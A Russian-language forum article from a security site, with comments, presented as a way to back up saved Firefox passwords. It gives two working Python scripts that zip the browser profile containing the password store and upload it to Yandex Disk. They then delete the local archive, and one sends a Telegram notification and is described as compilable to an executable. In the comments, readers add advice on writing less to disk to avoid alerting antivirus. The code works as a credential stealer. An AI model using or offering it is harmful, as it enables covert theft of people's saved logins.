• Перейти на CTF площадку Игры Кодебай

    Выполняйте задания по кибербезопасности в формате CTF и получайте бесценный опыт. Ознакомиться с подробным описанием можно тут.

Статья Облачная лиса. Сохраняем пароли Firefox в облако на Python

Logotype.jpg

Введение
Думаю ты уже не раз сталкивался с такой ситуацией, когда твоя любимая система выходит из строя и ее приходится переустанавливать. Причины могут быть разные: заражение шифровальщиком, повреждение системных файлом, загрязнение локального диска мусором или банальный переход на другую систему. В таком случаи прежде всего стоит подумать о бэкапах. В этой статье я расскажу тебе как создать и выгрузить в надежное место все логины, которые хранятся в твоем браузере. Для примера будем использовать Firefox, поскольку он имеет отдельную программу FirePasswordViewer, которая позволяет восстановить информацию на другом устройстве. Приступим.

План работы
Перед тем как начать, давай я обрисую всю предстоящую работу. Прежде всего мы подготовим саму платформу, куда будут выгружаться все данные. После настроим ее и сгенерируем ключ для подключения программы. Вся работа будет проводиться на Яндекс Диске, поэтому настоятельно рекомендую зарегистрировать или проверить Яндекс аккаунт на его функциональность. Далее я расскажу тебе все подробности на коде и мы попробуем сделать все в редакторе PyCharm. Также потребуется Python версии 3.10 и выше. И теперь можно переходить к настройке.

Генерируем токен
Чтобы наша программа адекватно функционировала требуется дать ей доступ к самому диску со всей необходимой информацией. Для всего этого от тебя требуется перейти на и создать следующее приложение.

  1. Название ставишь на свой выбор (самое типичное это Backup);
  2. Выбираешь платформу Веб-сервисы;
  3. Открываешь вкладку Яндекс Диск RESET API и ставишь галочки напротив всех предложений;
  4. Переходишь на вкладку Яндекс Диск WebDAV API и даешь доступ к диску для приложений;
  5. Нажимаешь на большую желтую кнопку с названием Создать приложение в самом низу;
  6. Готово! Посвящение в разработчики прошло успешно.
После этого перед тобой будет три главных параметра для управления приложением. Это секретный ключ, ID клиента и ссылка редиректа. Из этого всего копируем ClientID и вставляем его в следующую ссылку с последующим переходом на нее: <PASTE_CLIENT_ID>. Теперь перед тобой появится заветный токен, который нужен для нашей дальнейшей программы. Копируем его и сохраняем в безопасном месте. После этого приступаем к написанию самой программы для наших бэкапов.

Создаем бэкапы на Python
Надеюсь ты не забыл про нашу главную цель - создать копию всех сохраненных логов в Firefox. Конечно, Mozilla уже давно придумали такую вещь как синхронизация, но это путь наименьшего сопротивления. Нам он не интересен, поэтому давай разбираться с тем, куда же Firefox прячет все данные.

На самом деле ответ весьма очевиден. Вся информация храниться по пути %APPDATA%\Local\Mozilla\Firefox\Profiles. Там нас интересует папка со словом default.release на конце. Но для удобства я покажу тебе два варианта моей работы. Отличаются они только тем, что в одном есть поиск папки без упоминания, а другая требует ее указания. Также плюсом к этому идет разный виды упаковки файлов и другие мелкие фичи. Оба варианта рабочие, каким пользоваться решай сам.

Сами программы одинаковы по количеству строк, поэтому сложно выбрать какой из двух первым описывать. Но начать прежде всего стоит с самого простого варианта.

Первым делом импортируем все нужные модули:


Python:
import os
import zipfile
import shutil
import datetime
import yadisk

Далее задаем все нужные для работы переменные. Так как писалось все заранее, то, чтобы не объяснять каждую строчку в статье были добавлены комментарии, по ним ты поймешь, что и за что отвечает в коде.

Python:
disk = yadisk.YaDisk(token="your_token")    # токен от Диска
check = os.path.exists("C:\\Backup")    # папка для хранения бэкапов
dt = datetime.datetime.now()  # получаем дату и время
now_date = dt.date().strftime("%d.%m.%Y")  # текущая дата
now_time = dt.time().strftime("%H-%M-%S")  # текущее время
backup_folders = ["C:\\{name}\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\**.default.release\\"]  # список папок для архивации
path_backup = "C:\\Backup"  # место куда будут копироваться файлы
arch_name = "backup(" + str(now_date) + ").zip"  # имя архива
txt_name = "logs(" + str(now_date) + ").txt"    # файл для логирования всех действий
ignore_file = ["parent.lock"]  # если надо исключить файлы

Как ты мог заметить у меня есть две переменные с одинаковым содержанием. Это сделано для того, чтобы проверять папку на ее наличие и записывать всю необходимую информацию. Вместо звездочек и слова name в переменной backup_folders тебе следует указать свой путь, иначе ничего работать не будет. После этого создаем саму проверку на наличие папки хранения и если ее нет, то создаем сами. В этом нам поможет как всегда условный цикл if/else:

Python:
if check:   # проверка на существование папки
    pass
else:
    os.mkdir("C:\\Backup")

Теперь, чтобы найти все необходимые файлы, а также понять где находится конец у нашей папки используем рекурсивный поиск и засунем это все в архив формата ZIP. Чтобы все работало я использовал цикл def с тремя параметрами, которые отвечают за саму упаковку данных. Также стоит не забывать про счетчик, за счет которого будет формироваться наш файл с логами. На коде все это дело выглядит следующим образом:

Python:
def backup(arch, list, mode):
    num = 0     # считает кол-во упакованных файлов
    ignore = 0      # считает кол-во проигнорированных файлов
    # создание нового архива
    z = zipfile.ZipFile(arch, mode, zipfile.ZIP_DEFLATED, True)
    # получаем папки из списка папок
    for add in list:
        # список всех файлов и папок в директории add
        for root, dirs, files in os.walk(add):
            for file in files:
                if file in ignore_file:  # исключаем лишние файлы
                    ignore += 1
                    continue
                # создание относительных путей и запись файлов в архив
                path = os.path.join(root, file)
                z.write(path)
                num += 1
    z.close()
    txt_open = open(txt_name, "a+")
    txt_open.write(f"[+] Файлов добавлено: {num}\n[-] Проигнорировано: {ignore}")
    txt_open.close()

Не забываем про существование копий, ведь наш архив еще не раз будет подвергаться перезаписи. Добавляем этот параметр после самого архивирования и после выгружаем всю информацию прямо на диск. Я выбрал папку загрузок, чтобы хранить все данные в ней, ты же можешь создать отдельную папку используя команду disk.mkdir("/Backup/"). На питоне все выглядит примерно так:

Python:
backup(arch_name, backup_folders, "w")      # создание и перезапись архива
disk.upload(arch_name, "/Downloads/")   # выгрузка всех данных
disk.upload(txt_name, "/Downloads/")

Если ты используешь другую папку, то тебе следует перед выгрузкой создать проверку на наличие папки с использованием условных циклов и параметра disk.is_dir(). Завершающим штрихом в этом коде становиться перенос всех бэкапов в другое место, чтобы они не мешали глазам на рабочем столе. Конечно, к этому можно добавить автоматическую перезапись с определенным интервалом, но об этом мы поговорим в другой статье, если ты захочешь. Переходим в нашу IDE и завершаем всю программу таким кодом:

Python:
try:
    shutil.move(arch_name, path_backup)  # перемещение бэкапа
    shutil.move(txt_name, path_backup)  # перемещение логов
except shutil.Error:
    os.remove(f"{path_backup}\\{arch_name}")
    os.remove(f"{path_backup}\\{txt_name}")
    shutil.move(arch_name, path_backup)
    shutil.move(txt_name, path_backup)

Здесь также присутствует перехват исключений, который позволяет обойти лишние проблемы с библиотеками. Если тебе не нравиться функция перемещения ты можешь заменить ее на копирования, но для этого стоит поменять местами иерархию в коде, иначе у твои копии файлов удаляться раньше, чем ты их переместишь.

По работе первой утилиты думаю можно завершить объяснения, с учетом того, что в коде имеются комментарии. Теперь переходим ко второму варианту, он будет немного сложнее так как использует сразу две рекурсии, для поиска данных и их архивации. Все программы я писал в разные моменты времени, поэтому название переменных или циклов может отличаться, также как и сами комментарии, что достаточно очевидно. Также вместо логирования информации я использовал телеграмм бота и отправлял уведомления об успешных бэкапах прямо в Телеграмм. Ну а об этом поговорим позднее.

Для начала требуется импортировать все необходимые модули, чтобы программа корректно функционировала. Проводим эту процедуру и получаем примерно такой код:

Код:
import zipfile
import os
import datetime
import getpass
import glob
import telebot
import yadisk

После проводим всю ту же очевидную процедуру с созданием переменных, в которые мы поместим необходимую информацию. Прежде всего это старые добрые токены от телеграмма и яндекс диска, а также дата и время создания бэкапа и напоследок игнорируемые файлы. На коде все выглядит следующим образом:

Python:
bot = telebot.TeleBot("")   # вводим токен бота
token = yadisk.YaDisk(token="")     # вводим токен Диска

name = getpass.getuser()    # у знаем имя пользователя
save = glob.glob(f"C:\\{name}\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\**.default.release\\", recursive=True)
download = ' '.join(save)   # создаем массив с расположением логов и преобразуем его в строку

dt = datetime.datetime.now()    # получает дату/время
date = dt.date().strftime("%Y-%m-%d")   # текущая дата
time = dt.time().strftime("%H-%M-%S")   # текущее время
backup = [download]     # список папок для архивации
arch_name = "backup(" + str(date) + ")" + ".zip"     # имя архива
ignore = ["parent.lock"]   # файлы для исключения

Да, ты мог заметить, что у меня используется разное формирование текста, в первом случаи это форматирование строки, а во втором обычное соединение строк. Если тебе будет удобно, то содержание переменной arch_name можно заменить на такой код: f"backup({str(date)}).zip". Но это все уже на твое усмотрение. Теперь давай я коротко объясню, как программа находит нужный путь. Присмотрись к переменной save. В ней используется рекурсивный поиск в котором задано условие искать папку у которой есть окончание default.release. Все это дело храниться в виде массива, поэтому чтобы от него избавиться используем преобразование в строку. Теперь все также используем рекурсивный подход для архивации:

Python:
def zipfiles(arch, listed, mode):
    num = 0     # счетчики
    num_ignore = 0
    z = zipfile.ZipFile(arch, mode, zipfile.ZIP_DEFLATED, True)     # создание нового архива
    for folder in listed:   # получает папки из списка папок
        for root, dirs, files in os.walk(folder):   # список всех файлов и папок в директории folder
            for file in files:  # исключает лишние файлы
                if file in ignore:
                    num_ignore += 1
                    continue
                path = os.path.join(root, file)    # создание относительных путей и запись файлов в архив
                z.write(path)
                num += 1
    z.close()

Думаю по десять раз объяснять принцип работы этой части кода не стоит, поэтому перейдем сразу к следующему действию, а именно отправка и удаление с устройства всех файлов. Для этого я использовал все те же функции upload и remove. Не забываем про перезапись архива и получаем в итоге такой код:

Python:
zipfiles(arch_name, backup, "w")    # создает архив при наличии перезаписывает существующий

token.upload(arch_name, "/Downloads/")      # выгружает архив и задает название
os.remove(arch_name)

Теперь займемся отправкой уведомление в телеграмм. Как ты мог заметить использовал я в этом деле . Можно заменить его на более продвинутый аналог , но у него имеются проблемы с компиляцией в PE-файл, поэтому пришлось остановиться на этом варианте. Делать крутое уведомление я не стал, а всего лишь заставил бота отправлять обычное текстовое сообщение об успешной отправки. На коде все выглядит примерно так:

Python:
@bot.message_handler(commands=["start"])    # отправляет уведомление об успешной загрузке
def start_message(message):

    finish = f"Файл {arch_name} успешно загружен!"  # содержание уведомления
    bot.send_message("your_idchat", finish)     # отправка сообщения по ID чата

    bot.stop_polling()  # остановка бота после отправки


bot.polling()   # его работа в процессе отправки

И на этом наша программа завершается. Единственный недочет такого бота в том, что ты должен отправить команду /start, иначе бот не поймет куда отправлять уведомление. Еще опережу твой вопрос по поводу того, почему бы не заставить программу отправлять все в телеграмм. Суть в том, что для приложений существует ограничения на передачу файлов больше определенного формата, поэтому отправить около 200 МБ данных прямо в Telegram у тебя не получится. Теперь давай подведем итог нашей статьи.

Подводим итоги
Итак, сегодня я тебе рассказал и показал как создавать бэкапы данных от Firefox. Для расшифровки всего этого дела тебе следует использовать программу , о которой я говорил в самом начале. Она поможет быстро восстановить и прочитать необходимые файлы для работы. Также обе программы полностью функционируют и были проверены в боевых условиях. Ну а дальше ты можешь модифицировать этот софт и подгонять под свои нужды. Также если ты не знал, то превью к статье было сгенерировано при помощи нейросети Midjourney.
 
  • Нравится
Реакции: Crazy Jack

WithoutIrony

Green Team
28.08.2022
62
5
Python:
check = os.path.exists("C:\\Backup") # папка для хранения бэкапов
if check: # проверка на существование папки
    pass
else:
    os.mkdir("C:\\Backup")
1. Лучше os.makedirs() - он рекурсивный.
2. С ним проще:
Python:
os.makedirs(path, exist_ok=True)
3. Создавать каталоги в корне диска - иметь проблемы с UAC.

save = glob.glob(f"C:\\{name}\\AppData
Фу. Доставайте путь к аппдате из environment variables.
Вообще не факт, что он на цэ:\\

txt_open = open(txt_name, "a+")
txt_open.write(f"[+] Файлов добавлено: {num}\n[-] Проигнорировано: {ignore}")
txt_open.close()
Почему не через context manager? ("with open ...")

Ну и в идеале, не сохранять архив на диск. Чем меньше записи - тем лучше.
Зипать в памяти можно с помощью либы Python io, например.
 
Последнее редактирование:

Mark Klintov

Grey Team
23.07.2022
88
164
1. Лучше os.makedirs() - он рекурсивный.
2. С ним проще:
Python:
os.makedirs(path, exist_ok=True)
3. Создавать каталоги в корне диска - иметь проблемы с UAC.


Фу. Доставайте путь к аппдате из environment variables.
Вообще не факт, что он на цэ:\\


Почему не через context manager? ("with open ...")

Ну и в идеале, не сохранять архив на диск. Чем меньше записи - тем лучше.
Зипать в памяти можно с помощью либы Python io, например.
Я и не говорю что обязательно надо создавать каталог на диске C. В статье он взят как пример. Я создавал бэкап на диске D в папке Source. Но мы же прекрасно понимаем, что не у всех этот диск может существовать и от этого могут возникнуть ошибки/вопросы. Все данные от Firefox как раз всегда лежат в Appdata. По поводу context manager тут дело каждого. Мне удобее работать без его использования. Можешь подогнать код под себя и изменить то, что тебе не нравиться. На счет фразы: "Чем меньше записи - тем лучше" я так и не понял. Лучше почему? Скорость выше? У меня нет в плане пункта создать быструю выгрузку бэкапа. На счет makedirs тут да, лучше конечно использовать его, но так как код я писал пол года назад мне хватило его работоспособности. На остальное я лезть не стал с мотивацией на то, что если работает, лучше не трогать
 
Последнее редактирование:

WithoutIrony

Green Team
28.08.2022
62
5
Я и не говорю что обязательно надо создавать каталог на диске C. В статье он взят как пример. Я создавал бэкап на диске D в папке Source. Но мы же прекрасно понимаем, что не у всех этот диск может существовать и от этого могут возникнуть ошибки/вопросы.
Я к тому, что всё можно складировать в %temp%. Путь к нему тоже из env брать.
Python:
import os
print(os.environ['TEMP'])

Так-же и с appdata:
Python:
import os
print(os.environ['LOCALAPPDATA'])

Это избавит от проблем, когда система стоит не на C:\ и не будет проблем со старыми (следующими?) ОС.
Напомню, раньше профили пользователей вообще лежали в [Systemdrive]:\Documents and Settings\<user>.

На счет фразы: "Чем меньше записи - тем лучше" я так и не понял. Лучше почему? Скорость выше?
Антивирус лишний раз не нервировать :)
 
  • Нравится
Реакции: Mark Klintov

Mark Klintov

Grey Team
23.07.2022
88
164
Я к тому, что всё можно складировать в %temp%. Путь к нему тоже из env брать.
Python:
import os
print(os.environ['TEMP'])

Так-же и с appdata:
Python:
import os
print(os.environ['LOCALAPPDATA'])

Это избавит от проблем, когда система стоит не на C:\ и не будет проблем со старыми (следующими?) ОС.
Напомню, раньше профили пользователей вообще лежали в [Systemdrive]:\Documents and Settings\<user>.


Антивирус лишний раз не нервировать :)
Вот теперь я понял. Никогда не знал, что в питоне путь до определенной папки можно задавать таким образом. Спасибо за ответ. Приму к сведению и постараюсь не забывать про это в дальнейших проектах
 
Мы в соцсетях: